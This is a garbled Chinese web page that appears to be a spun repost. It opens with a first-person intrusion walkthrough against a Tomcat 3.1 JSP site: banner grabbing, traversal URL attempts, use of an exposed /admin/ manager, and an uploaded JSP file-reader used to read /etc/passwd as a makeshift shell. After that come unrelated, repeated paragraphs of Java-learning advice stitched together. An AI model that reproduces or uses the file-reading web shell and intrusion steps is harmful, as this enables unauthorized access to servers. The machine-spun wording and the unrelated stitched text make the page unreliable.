JAVA网站制作之进侵基于JSP+Tomcat的Web网站实录
java是一种面向对象的编程语言,优点是可移植性比较高,最初设计时就是本着一次编写到处执行设计的。可以开发各种应用程序和游戏,不过速度没有c++快,所以一般是不用java来编写应用程序和电脑游戏。js|web很偶尔的一个时机,扫瞄到一个网站,页面清爽让人感到很恬逸。网站是用JSP开辟的,出于团体喜好,我决意测试一下其体系的平安性。telnetwww.target.com8080
GET/CHINANSLHTTP/1.1
前往的了局以下:
HTTP/1.0404NotFound
Date:Sun,08Jul200107:49:13GMT
Servlet-Engine:TomcatWebServer/3.1(JSP1.1;Servlet2.2;Java1.2.2;Linux2
.2.12i386;java.vendor=BlackdownJava-LinuxTeam)
Content-Language:en
Content-Type:text/html
Status:404
<h1>Error:404</h1>
<h2>Location:/CHINANSL</h2>FileNotFound<br>/CHINANSL
取得了运转的WEBServer的称号“Tomcat3.1”。记得已经发明过这个版本的毛病,而且post到bugtrap上往过。
回想一下,也许是经由过程“..”手艺能够加入WEB目次,因而:
http://target:8080/../../../../%00.jsp(不可)
http://target:8080/file/index.jsp(不可)
http://target:8080/index.JSP(不可)
http://target:8080/index.jsp%81(不可)
http://target:8080/index.js%70(不可)
http://target:8080/index.jsp%2581(不可)
http://target:8080/WEB-INF/(不可)
看来平安情况仿佛还不错,我们再来举行一下更深层的测试。Tomcat3.1自带了一个办理工具,能够检察WEB下的目次及文件,而且能够增加context。因而实验:
http://target:8080/admin/
办理员公然没有删除或克制会见这个目次,从平安的角度说,这点应当算是一个对照主要的掉误。
接着,点击“VIEWALLCONTEXT”按钮,列出了WEB目次下的一些文件和目次的称号,很快发明了一个上传文件的组件,经由过程这个组件将一个JSP文件上传到对方的WEB目次里:
<%@pageimport="java.io.*"%>
<%
Stringfile=request.getParameter("file");
Stringstr="";
FileInputStreamfis=null;
DataInputStreamdis=null;
try{
fis=newFileInputStream(file);
dis=newDataInputStream(fis);
while(true){
try{
str=dis.readLine();
}catch(Exceptione){}
if(str==null)break;
out.print(str+"<br>");
}
}catch(IOExceptione){}
%>
然后实行:
http://target:8080/upload/test.jsp?file=/etc/passwd
暗码出来了。接上去的历程是推测暗码,没有乐成。不外,如今相称于有了一个SHELL,猜不出暗码能够先把IE看成SHELL情况。
下一页
什么时候上述的三种开发工具能和三为一,什么时候java的竞争力才更强,才有机会拉拢更多的程序员投入到对java的开发上,因为到时的开发工具将会比.net的更简单。还有一点也很关键,什么时候java推出的jsf能成为真正意义上的标准。 至于JDBC,就不用我多说了,你如果用java编过存取数据库的程序,就应该很熟悉。还有,如果你要用Java编发送电子邮件的程序,你就得看看Javamail 了。 Java 编程语言的风格十分接近C、C++语言。 是一种简化的C++语言 是一种安全的语言,具有阻绝计算机病毒传输的功能 你就该学一学Servlet了。Servlet就是服务器端小程序,他负责生成发送给客户端的HTML文件。JSP在执行时,也是先转换成Servlet再运行的。虽说JSP理论上可以完全取代Servlet,这也是SUN推出JSP的本意,可是Servlet用来控制流程跳转还是挺方便的,也令程序更清晰。接下来你应该学习一下Javabean了,可能你早就看不管JSP在HTML中嵌Java代码的混乱方式了,这种方式跟ASP又有什么区别呢? 是一种使网页(Web Page)产生生动活泼画面的语言 另外编写和运行Java程序需要JDK(包括JRE),在sun的官方网站上有下载,thinking in java第三版用的JDK版本是1.4,现在流行的版本1.5(sun称作J2SE 5.0,汗),不过听说Bruce的TIJ第四版国外已经出来了,是专门为J2SE 5.0而写的。 科学超级计算机、移动电话和互联网,同时拥有全球最大的开发者专业社群。 Java 编程语言的风格十分接近C、C++语言。 Java 不同于一般的编译执行计算机语言和解释执行计算机语言。它首先将源代码编译成二进制字节码(bytecode),然后依赖各种不同平台上的虚拟机来解释执行字节码。从而实现了“一次编译、到处执行”的跨平台特性。 让你能够真正掌握接口或抽象类的应用,从而在原来的Java语言基础上跃进一步,更重要的是,设计模式反复向你强调一个宗旨:要让你的程序尽可能的可重用。 如果你学过HTML,那么事情要好办的多,如果没有,那你快去补一补HTML基础吧。其实JSP中的Java语法也不多,它更象一个脚本语言,有点象ASP。 http://www.jdon.com/去下载,或到同济技术论坛的服务器ftp://nro.shtdu.edu.cn去下,安装上有什么问题,可以到论坛上去提问。 Sun公司看见Oak在互联网上应用的前景,于是改造了Oak,于1995年5月以Java的名称正式发布。Java伴随着互联网的迅猛发展而发展,逐渐成为重要的网络编程语言。 一直感觉JAVA很大,很杂,找不到学习方向,前两天在网上找到了这篇文章,感觉不错,给没有方向的我指了一个方向,先不管对不对,做下来再说。 你快去找一份Java的编程工作来做吧(如果是在校学生可以去做兼职啊),在实践中提高自己,那才是最快的。不过你得祈祷在公司里碰到一个高手,而且他 还愿意不厌其烦地教你,这样好象有点难哦!还有一个办法就是读开放源码的程序了。我们知道开放源码大都出自高手,他们设计合理,考虑周到,再加上有广大的程序员参与,代码的价值自然是字字珠叽,铿锵有力(对不起,偶最近《金装四大才子》看多了)。 你一定会高兴地说,哈哈,原来成为Java高手就这么简单啊!记得Tomjava也曾碰到过一个项目经理,号称Java很简单,只要三个月就可以学会。 是一种为 Internet发展的计算机语言 你就该学一学Servlet了。Servlet就是服务器端小程序,他负责生成发送给客户端的HTML文件。JSP在执行时,也是先转换成Servlet再运行的。虽说JSP理论上可以完全取代Servlet,这也是SUN推出JSP的本意,可是Servlet用来控制流程跳转还是挺方便的,也令程序更清晰。接下来你应该学习一下Javabean了,可能你早就看不管JSP在HTML中嵌Java代码的混乱方式了,这种方式跟ASP又有什么区别呢? 另外编写和运行Java程序需要JDK(包括JRE),在sun的官方网站上有下载,thinking in java第三版用的JDK版本是1.4,现在流行的版本1.5(sun称作J2SE 5.0,汗),不过听说Bruce的TIJ第四版国外已经出来了,是专门为J2SE 5.0而写的。
页:
[1]